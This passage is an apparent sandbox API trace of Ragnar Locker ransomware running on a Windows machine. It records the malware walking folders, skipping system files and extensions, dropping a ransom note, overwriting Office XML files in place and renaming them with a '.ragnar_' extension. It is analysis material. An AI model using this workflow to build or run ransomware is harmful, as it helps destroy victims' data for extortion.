ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2=".") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="..") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="Windows") returned -1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="Windows.old") returned -1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="Tor browser") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="Internet Explorer") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="Google") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="Opera") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="Opera Software") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="Mozilla") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="Mozilla Firefox") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="$Recycle.Bin") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="ProgramData") returned 1 [0065.761] lstrcmpiW (lpString1="Visio.en-us", lpString2="All Users") returned 1 [0065.761] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0065.761] lstrcpyW (in: lpString1=0x1eab90, lpString2="Visio.en-us" | out: lpString1="Visio.en-us") returned="Visio.en-us" [0065.761] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\" [0065.761] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\" [0065.761] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\RGNR_FD7BD9FC.txt" [0065.761] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0065.765] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*" [0065.765] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0065.765] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0065.765] lstrcpyW (in: lpString1=0x1e9cbc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0065.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7971c340, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7971c340, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0065.766] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0065.766] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7971c340, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7971c340, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.766] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0065.766] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0065.766] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7971c340, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7971c340, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0065.766] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0065.766] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0065.766] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0065.766] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0065.766] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0065.766] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0065.766] lstrcmpiW (lpString1="VisioMUI.XML", lpString2=".") returned 1 [0065.766] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="..") returned 1 [0065.766] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0065.766] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0065.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7971c340, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7971c340, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0065.766] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7971c340, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7971c340, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.766] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7971c340, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7971c340, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0065.766] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0065.766] lstrcpyW (in: lpString1=0x1ea0d0, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0065.766] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0065.766] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0065.766] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0065.766] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0065.766] lstrcpyW (in: lpString1=0x1ea0d0, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0065.766] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned=".XML" [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0065.767] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0065.767] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0065.767] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0065.767] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0065.767] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0065.767] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0065.767] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0065.767] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0065.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0065.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0065.768] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=6241) returned 1 [0065.768] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1858, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.768] GetProcessHeap () returned 0x580000 [0065.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0065.768] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0065.792] VirtualAlloc (lpAddress=0x0, dwSize=0x1861, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0065.793] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.793] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0065.793] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x1861, lpOverlapped=0x0) returned 1 [0065.821] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0065.821] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1861, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.821] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1861, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x1861, lpOverlapped=0x0) returned 1 [0065.821] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1861, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.821] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0065.821] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1861, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.821] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.821] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0065.821] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0065.822] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0065.822] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.822] GetProcessHeap () returned 0x580000 [0065.822] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0065.822] CloseHandle (hObject=0x108) returned 1 [0065.823] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" [0065.823] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0065.823] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0065.877] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0065.877] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x63 [0065.877] lstrcpyW (in: lpString1=0x1ea0d0, lpString2="VisioMUI.XML" | out: lpString1="VisioMUI.XML") returned="VisioMUI.XML" [0065.877] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned=".XML" [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="autorun.inf") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="boot.ini") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="bootfont.bin") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="bootsect.bak") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="bootmgr") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="bootmgr.efi") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="bootmgfw.efi") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="desktop.ini") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="iconcache.db") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="ntldr") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="ntuser.dat") returned 1 [0065.877] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="ntuser.dat.log") returned 1 [0065.878] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="ntuser.ini") returned 1 [0065.878] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="thumbs.db") returned 1 [0065.878] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0065.878] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0065.878] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0065.878] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0065.878] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0065.878] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0065.878] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0065.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0065.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0065.897] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=9503) returned 1 [0065.897] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x2516, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.897] GetProcessHeap () returned 0x580000 [0065.897] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0065.897] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0065.901] VirtualAlloc (lpAddress=0x0, dwSize=0x251f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0065.901] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.901] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0065.902] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x251f, lpOverlapped=0x0) returned 1 [0066.316] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0066.322] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x251f, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.329] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x251f, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x251f, lpOverlapped=0x0) returned 1 [0066.336] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x251f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.339] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.348] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x251f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 